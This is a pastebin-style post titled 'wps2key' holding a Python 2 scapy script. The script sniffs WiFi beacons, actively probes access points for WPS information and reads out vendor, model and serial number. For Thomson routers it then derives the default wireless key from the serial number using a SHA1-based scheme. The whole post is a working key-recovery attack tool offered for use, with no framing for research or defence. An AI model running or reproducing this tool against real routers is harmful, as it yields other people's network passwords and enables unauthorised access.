Advertising
- wps2key
- Tuesday, February 7th, 2012 at 5:52:07pm MST
This post has 1 comment thread shown at the end of this page.
- #!/usr/bin/env python
- from sys import argv, stderr, exit
- from getopt import GetoptError, getopt as GetOpt
- import hashlib
- try:
- from scapy.all import *
- except Exception, e:
- print 'Failed to import scapy:',e
- exit(1)
- def ascii2hex(char):
- return hex(ord(char))[2:]
- def serial2key(serial):
- #print 'Key for Serial Number: CP%s' % serial
- sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
- hash = hashlib.sha1(sn.upper()).hexdigest()
- return hash[0:10].upper()
- class WPSQuery:
- bssid = None
- essid = None
- pfile = None
- rprobe = False
- verbose = False
- probedNets = {}
- WPS_ID = "\x00\x50\xF2\x04"
- wps_attributes = {
- 0x104A : {'name' : 'Version ', 'type' : 'hex'},
- 0x1044 : {'name' : 'WPS State ', 'type' : 'hex'},
- 0x1057 : {'name' : 'AP Setup Locked ', 'type' : 'hex'},
- 0x1041 : {'name' : 'Selected Registrar ', 'type' : 'hex'},
- 0x1012 : {'name' : 'Device Password ID ', 'type' : 'hex'},
- 0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
- 0x103B : {'name' : 'Response Type ', 'type' : 'hex'},
- 0x1047 : {'name' : 'UUID-E ', 'type' : 'hex'},
- 0x1021 : {'name' : 'Manufacturer ', 'type' : 'str'},
- 0x1023 : {'name' : 'Model Name ', 'type' : 'str'},
- 0x1024 : {'name' : 'Model Number ', 'type' : 'str'},
- 0x1042 : {'name' : 'Serial Number ', 'type' : 'str'},
- 0x1054 : {'name' : 'Primary Device Type ', 'type' : 'hex'},
- 0x1011 : {'name' : 'Device Name ', 'type' : 'str'},
- 0x1008 : {'name' : 'Config Methods ', 'type' : 'hex'},
- 0x103C : {'name' : 'RF Bands ', 'type' : 'hex'},
- 0x1045 : {'name' : 'SSID ', 'type' : 'str'},
- 0x102D : {'name' : 'OS Version ', 'type' : 'str'}
- }
- def __init__(self,iface,pfile):
- if iface:
- conf.iface = iface
- if pfile:
- self.pfile = pfile
- def run(self):
- if self.verbose:
- if self.pfile:
- stderr.write("Reading packets from %s\n\n" % self.pfile)
- else:
- stderr.write("Listening on interface %s\n\n" % conf.iface)
- try:
- sniff(prn=self.pcap,offline=self.pfile)
- except Exception, e:
- print 'Caught exception while running sniff():',e
- #Handles captured packets
- def pcap(self,packet):
- if packet.haslayer(Dot11Beacon):
- self.beaconh(packet)
- elif packet.haslayer(Dot11ProbeResp):
- self.responseh(packet)
- #Beacon packet handler
- def beaconh(self,pkt):
- elt = None
- eltcount = 1
- doprobe = False
- essid = None
- bssid = pkt[Dot11].addr3.upper()
- #If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
- if self.bssid and self.essid:
- self.probereq(self.essid,self.bssid)
- return
- #If we've already probed it, processing it's beacon frames won't do us any more good
- if self.probedNets.has_key(bssid):
- return
- #Is this the BSSID we're looking for?
- if self.bssid and self.bssid != bssid:
- return
- #Loop through all information elements
- while elt != pkt.lastlayer(Dot11Elt):
- elt = pkt.getlayer(Dot11Elt, nb=eltcount)
- eltcount += 1
- #Get the SSID
- if elt.ID == 0:
- essid = elt.info
- #Skip if this is not the SSID we're looking for
- if self.essid and essid != self.essid:
- return
- #Check for a WPS information element
- else:
- doprobe = self.iswpselt(elt)
- if doprobe:
- if self.verbose:
- stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
- break
- #Should we actively probe this AP?
- if doprobe == True or self.rprobe == True:
- self.probereq(essid,bssid)
- return
- #Probe response packet handler
- def responseh(self,pkt):
- wpsdata = []
- eltcount = 1
- elt = None
- bssid = None
- essid = None
- bssid = pkt[Dot11].addr3.upper()
- #Is this the BSSID we're looking for?
- if self.bssid and self.bssid != bssid:
- return
- #Loop through all information elements
- while elt != pkt.lastlayer(Dot11Elt):
- elt = pkt.getlayer(Dot11Elt, nb=eltcount)
- eltcount += 1
- #Get the SSID
- if elt.ID == 0:
- essid = elt.info
- #Don't probe a network multiple times
- if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
- return
- #Skip if this is not the SSID we're looking for
- if self.essid and essid != self.essid:
- return
- if self.verbose:
- stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
- elif self.iswpselt(elt):
- wpsdata = self.parsewpselt(elt)
- #Display WPS information
- if wpsdata:
- self.printwpsinfo(wpsdata,bssid,essid)
- elif self.verbose:
- stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))
- #Mark this BSSID as complete
- self.probedNets[bssid] = essid
- return
- #Display collected WPS data
- def printwpsinfo(self,wpsdata,bssid,essid):
- textlen = 33
- filler = ' '
- is_valid = 0
- if wpsdata:
- print ''
- print 'BSSID:',bssid
- print 'ESSID:',essid
- print '----------------------------------------------------------'
- for (header,data,datatype) in wpsdata:
- if datatype != 'str':
- tdata = data
- data = '0x'
- for i in tdata:
- byte = str(hex(ord(i)))[2:]
- if len(byte) == 1:
- byte = '0' + byte
- data += byte
- header = header + (filler * (textlen-len(header)))
- print '%s : %s' % (header,data)
- if data == 'THOMSON':
- is_valid = 1
- elif data == '784n':
- is_valid = 0
- if header == 'Serial Number ':
- header = 'DEFAULT KEY '
- if is_valid == 1:
- data = serial2key(data)
- else:
- data = 'UNSUPPORTED'
- print '%s : %s' % (header,data)
- print ''
- #Send a probe request to the specified AP
- def probereq(self,essid,bssid):
- if not essid or not bssid:
- return
- if self.probedNets.has_key(bssid):
- return
- if self.pfile:
- return
- if self.verbose:
- stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))
- try:
- #Build a probe request packet with a SSID and a WPS information element
- dst = mac2str(bssid)
- src = mac2str("ff:ff:ff:ff:ff:ff")
- packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
- packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)
- #Send it!
- send(packet,verbose=0)
- self.probedNets[bssid] = None
- except Exception, e:
- print 'Failure sending probe request to',essid,':',e
- #Check if an element is a WPS element
- def iswpselt(self,elt):
- if elt.ID == 221:
- if elt.info.startswith(self.WPS_ID):
- return True
- return False
- #Parse a WPS element
- def parsewpselt(self,elt):
- data = []
- tagname = None
- tagdata = None
- datatype = None
- tag = 0
- tlen = 0
- i = len(self.WPS_ID)
- try:
- if self.iswpselt(elt):
- while i < elt.len:
- #Get tag number and length
- tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
- i += 2
- tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
- i += 2
- #Get the tag data
- tagdata = elt.info[i:i+tlen]
- i += tlen
- #Lookup the tag name and type
- try:
- tagname = self.wps_attributes[tag]['name']
- datatype = self.wps_attributes[tag]['type']
- except Exception, e:
- tagname = 'Unknown'
- datatype = 'hex'
- #Append to array
- data.append((tagname,tagdata,datatype))
- except Exception,e:
- print 'Exception processing WPS element:',e
- return data
- def about():
- print '''
- WPScan actively scans access points that support WiFi Protected Setup by sending
- 802.11 probe requests to them. It then examines the WPS information element in the
- resulting 802.11 probe response and displays the information contained in that IE.
- This is useful for fingerprinting WPS-capable access points, as many of them will
- include their vendor, model number, and firmware versions in the WPS IE of the
- probe response.
- '''
- exit(0)
- def usage():
- print '''
- Usage: %s [OPTIONS]
- -i <iface> Specify the interface to listen on
- -p <file> Specify pcap file to read from
- -b <bssid> Specify a bssid filter
- -e <essid> Specify an essid filter
- -n Probe all networks
- -v Enable verbose mode
- -a Show about information
- -h Show help
- ''' % argv[0]
- exit(1)
- def main():
- bssid = None
- essid = None
- iface = None
- pfile = None
- probeall = False
- verbose = False
- try:
- opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
- except GetoptError, e:
- print 'Usage Error:',e
- usage()
- for opt,optarg in opts:
- if opt == '-b':
- bssid = optarg.upper()
- elif opt == '-e':
- essid = optarg
- elif opt == '-i':
- iface = optarg
- elif opt == '-p':
- pfile = optarg
- elif opt == '-v':
- verbose = True
- elif opt == '-n':
- probeall = True
- elif opt == '-a':
- about()
- else:
- usage()
- wps = WPSQuery(iface,pfile)
- wps.bssid = bssid
- wps.essid = essid
- wps.rprobe = probeall
- wps.verbose = verbose
- wps.run()
- if __name__ == "__main__":
- main()
advertising
Update the Post
Either update this post and resubmit it with changes, or make a new post.
You may also comment on this post.
Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.